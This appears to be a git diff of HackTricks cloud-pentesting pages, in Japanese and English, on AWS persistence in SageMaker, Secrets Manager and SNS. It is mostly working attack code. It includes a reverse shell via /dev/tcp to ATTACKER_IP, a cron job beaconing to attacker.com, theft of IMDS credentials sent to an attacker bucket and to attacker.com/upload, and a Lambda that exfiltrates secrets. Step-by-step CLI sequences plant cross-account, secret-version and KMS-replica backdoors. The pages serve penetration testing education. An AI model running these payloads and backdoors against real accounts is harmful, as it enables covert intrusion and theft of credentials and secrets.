-SageMakerライフサイクル構成（LCC）は、ノートブックインスタンスが起動するときにカスタムスクリプトを実行します。権限を持つ攻撃者は、持続的なリバースシェルを確立できます。
-
-### ペイロードの例:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence via Lifecycle Configuration
-
-攻撃者はLCCスクリプトを通じてcronジョブを注入し、悪意のあるスクリプトやコマンドの定期的な実行を確保し、隠れた持続性を可能にします。
-
-### Payload Example:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## IMDS（v1 & v2）を介した認証情報の抽出
-
-ライフサイクル構成は、インスタンスメタデータサービス（IMDS）にクエリを送信してIAM認証情報を取得し、それを攻撃者が制御する場所に抽出することができます。
-
-### ペイロードの例:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Persistence Techniques の概要
+
+このセクションでは、Lifecycle Configurations (LCCs) を悪用して SageMaker 上で persistence を確保する方法を説明します。対象には reverse shells、cron jobs、credential theft via IMDS、SSH backdoors などが含まれます。これらのスクリプトはインスタンスの IAM role として実行され、再起動後も persistence を維持できます。ほとんどの手法はアウトバウンド ネットワークアクセスを必要としますが、環境が 'VPC-only' モードであっても AWS control plane 上のサービスを利用することで成功する場合があります。
+
+> [!TIP]
+> 注意: SageMaker notebook instances は本質的に、機械学習ワークロード向けに特化した管理された EC2 インスタンスです。
+
+## 必要な権限
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio アプリケーション:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## ノートブックインスタンスのライフサイクル構成を設定する
+
+### AWS CLI コマンドの例:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## SageMaker Studio で Lifecycle Configuration を設定する
+
+Lifecycle Configurations は SageMaker Studio 内のさまざまなレベルや異なるアプリタイプにアタッチできます。
+
+### Studio Domain Level（全ユーザー）
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space レベル（個人または共有スペース）
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Studio アプリケーションのライフサイクル構成の種類
+
+ライフサイクル構成は、異なる SageMaker Studio アプリケーションタイプに個別に適用できます:
+* JupyterServer: Jupyter server の起動時にスクリプトを実行します。reverse shells や cron jobs のような persistence メカニズムに最適です。
+* KernelGateway: kernel gateway アプリの起動時に実行され、initial setup や persistent access に有用です。
+* CodeEditor: Code Editor (Code-OSS) に適用され、コード編集セッション開始時に実行されるスクリプトを有効にします。
+
+### Example Command for Each Type:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### コードエディタ
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### 重要な情報:
+* ドメインまたはスペースレベルでLCCsをアタッチすると、対象範囲内のすべてのユーザーまたはアプリケーションに影響します。
+* これにはより高い権限（sagemaker:UpdateDomain、sagemaker:UpdateSpace）が必要で、通常はドメインレベルよりスペースレベルでの実行が現実的です。
+* ネットワークレベルの制御（例：strict egress filtering）は、成功するreverse shellsやdata exfiltrationを防ぐことができます。
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) は、notebook instances が起動するとカスタムスクリプトを実行します。権限を持つ攻撃者は永続的な reverse shell を確立できます。
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+攻撃者は LCC scripts を介して cron jobs を注入でき、悪意あるスクリプトやコマンドを定期的に実行させることで、ステルスな persistence を実現できます。
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## IMDS (v1 & v2) 経由の資格情報持ち出し
+
+ライフサイクル構成は Instance Metadata Service (IMDS) を照会して IAM 資格情報を取得し、攻撃者が制御する場所に持ち出すことができます。
+
+### ペイロード例:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Model Registry リソースポリシー経由の永続化 (PutModelPackageGroupPolicy)
+
+SageMaker Model Package Group のリソースベースポリシーを悪用して、外部プリンシパルにクロスアカウント権限（例: CreateModelPackage/Describe/List）を付与します。これにより、攻撃者の IAM ユーザー/ロールが被害者アカウントから削除されても、マルウェア化したモデルのバージョンをプッシュしたり、モデルのメタデータやアーティファクトを読み取ったりできる耐久性のあるバックドアが作成されます。
+
+必要な権限
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+手順（us-east-1）
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+注意
+- 実際のクロスアカウントバックドアの場合、Resource を特定のグループ ARN に限定し、Principal には攻撃者の AWS アカウント ID を使用してください。
+- エンドツーエンドのクロスアカウント展開やアーティファクト読み取りの場合、S3/ECR/KMS の権限を攻撃者のアカウントに合わせて設定してください。
+
+影響
+- Model Registry グループの永続的なクロスアカウント制御: 攻撃者は悪意のあるモデルバージョンを公開したり、被害者アカウントで IAM エンティティが削除された後でもモデルのメタデータを列挙/読み取ることができます。
+
+## Canvas のクロスアカウント Model Registry バックドア (UpdateUserProfile.ModelRegisterSettings)
+
+SageMaker Canvas のユーザー設定を悪用し、ModelRegisterSettings を有効にして CrossAccountModelRegisterRoleArn を別アカウントの攻撃者ロールに指定することで、model registry への書き込みを攻撃者が制御するアカウントに密かにリダイレクトします。
+
+必要な権限
+- ターゲットの UserProfile に対する sagemaker:UpdateUserProfile
+- オプション: 自分が管理する Domain に対する sagemaker:CreateUserProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,51 +0,0 @@
-# AWS - Secrets Manager Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### リソースポリシーを介して
-
-リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。
-
-### Secrets Rotate Lambdaを介して
-
-シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。
-
-このようなアクションのためのlambdaコードは次のようになります：
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md

@@ -0,0 +1,235 @@
+# AWS - Secrets Manager Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Via Resource Policies
+
+Resource policies を介して外部アカウントに **secrets へのアクセスを付与することが可能** です。詳細は [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を確認してください。外部アカウントが **secret にアクセスするためには**、その secret を暗号化している **KMS key へのアクセスも必要**である点に注意してください。
+
+### Via Secrets Rotate Lambda
+
+secrets を自動的に回転させるために設定された Lambda が呼び出されます。攻撃者が Lambda の code を変更できれば、新しい secret を直接自分に exfiltrate することができます。
+
+This is how lambda code for such action could look like:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### RotateSecret を介してローテーション Lambda を攻撃者制御の関数に差し替える
+
+Abuse `secretsmanager:RotateSecret` を使って、シークレットを攻撃者制御のローテーション Lambda に再バインドし、即時ローテーションをトリガーします。悪意のある関数はローテーションの各ステップ（createSecret/setSecret/testSecret/finishSecret）でシークレットのバージョン（AWSCURRENT/AWSPENDING）を攻撃者の受け取り先（例：S3 や外部 HTTP）へ exfiltrates します。
+
+- 要件
+- 権限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction`（攻撃者 Lambda 上で）, `iam:CreateRole/PassRole/PutRolePolicy`（または AttachRolePolicy）— Lambda 実行ロールに `secretsmanager:GetSecretValue` とできれば `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`（ローテーション維持のため）を付与できること、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`（または外部送信許可）。
+- ローテーション有効なターゲットの secret id (`SecretId`)、もしくはローテーションを有効化できる権限。
+
+- 影響
+- 攻撃者は正規のローテーションコードを改変せずにシークレット値を取得できます。変更されるのはローテーション設定のみで、攻撃者の Lambda を指すようになります。発見されなければ、今後のスケジュールされたローテーションも継続して攻撃者の関数を呼び出します。
+
+- 攻撃手順 (CLI)
+1) 攻撃者の受け取り先と Lambda ロールを用意
+- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取りと S3 書き込み（必要に応じてログ/KMS の権限）を付与します。
+2) 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイ
+- 最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させてサービスを健全に保つだけでも十分です。
+3) ローテーションを差し替えてトリガー
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) そのシークレットに対する S3 プレフィックスを一覧表示して JSON アーティファクトを検査し、exfiltration を確認します。
+5) （任意）検出を減らすために元のローテーション Lambda を復元します。
+
+- Example attacker Lambda (Python) exfiltrating to S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+
+Secrets Manager の version staging ラベルを悪用して、攻撃者が制御するシークレットのバージョンを植え付け、カスタムステージ（例: `ATTACKER`）の下に隠したまま、プロダクションは元の `AWSCURRENT` を使用し続けさせます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存ワークロードを汚染し、その後検出を最小化するために元に戻します。これにより、シークレット名や回転設定を変更せずに、ステルスなバックドア永続化と迅速な利用時操作が可能になります。
+
+- 要件
+- 権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
+- 対象のシークレット ID（リージョン内）
+
+- 影響
+- 隠された攻撃者制御のシークレットバージョンを維持し、必要に応じて `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべてのコンシューマに影響を与えます。素早い切り替えと即時の復元により、検出の可能性を下げつつ利用時の侵害を実現します。
+
+- 攻撃手順 (CLI)
+- 準備
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>CLI コマンド</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- 注意
+- `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
+
+- 要件
+- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) により攻撃者主体が `kms:Decrypt` できるようにすること。
+- 昇格した secret の読み取りアクセスを受ける攻撃者主体 (user/role)。
+
+- 影響
+- 攻撃者が管理する KMS CMK と permissive resource policy の下にある standalone replica を通じて、secret 値への永続的なクロスリージョンアクセス経路が確立されます。元の Region の primary secret は変更されません。
+
+- 攻撃 (CLI)
+- Vars
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) レプリカリージョンに攻撃者が制御する KMS キーを作成する
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) attacker KMS key を使って secret を R2 に複製する
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) R2でレプリカをスタンドアロンに昇格させる
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) R2 の standalone secret に permissive resource policy を付与する
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) R2 の attacker principal からシークレットを読み取る
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます：
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### サブスクライバーの作成
-
-すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
-
-**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

@@ -0,0 +1,113 @@
+# AWS - SNS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+詳細は次を参照:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### 永続化
+
+**SNS topic** を作成する際、IAM policy で **誰が読み書きできるか** を指定する必要があります。外部アカウント、ARN of roles、または **"\*"** を指定することも可能です。\
+次のポリシーは、**`MySNS.fifo`** という SNS topic に対して AWS 内のすべてのユーザーに読み書きアクセスを与えます:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### サブスクライバーの作成
+
+すべてのトピックからのメッセージを引き続き持ち出すため、攻撃者は **すべてのトピックに対してサブスクライバーを作成することができる**。
+
+トピックが **FIFO タイプ** の場合、プロトコルが **SQS** のサブスクライバーのみ使用できることに注意してください。
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### 隠密で選択的な exfiltration（FilterPolicy を MessageBody に対して使用）
+
+あるトピックに対して `sns:Subscribe` と `sns:SetSubscriptionAttributes` を持つ攻撃者は、JSON ボディが非常に狭いフィルタ（例: `{"secret":"true"}`）に一致するメッセージのみを転送するステルスな SQS サブスクリプションを作成できます。これにより通信量と検出のリスクが低減され、機密レコードの exfiltration が可能になります。
+
+**潜在的な影響**: 被害者トピックからターゲットとなる SNS メッセージのみを低ノイズで隠密に exfiltration する。
+
+手順 (AWS CLI):
+- 攻撃者の SQS キュー ポリシーが被害者の `TopicArn` からの `sqs:SendMessage` を許可していることを確認する（Condition `aws:SourceArn` が `TopicArn` と等しい）。
+- トピックに対して SQS subscription を作成:
+
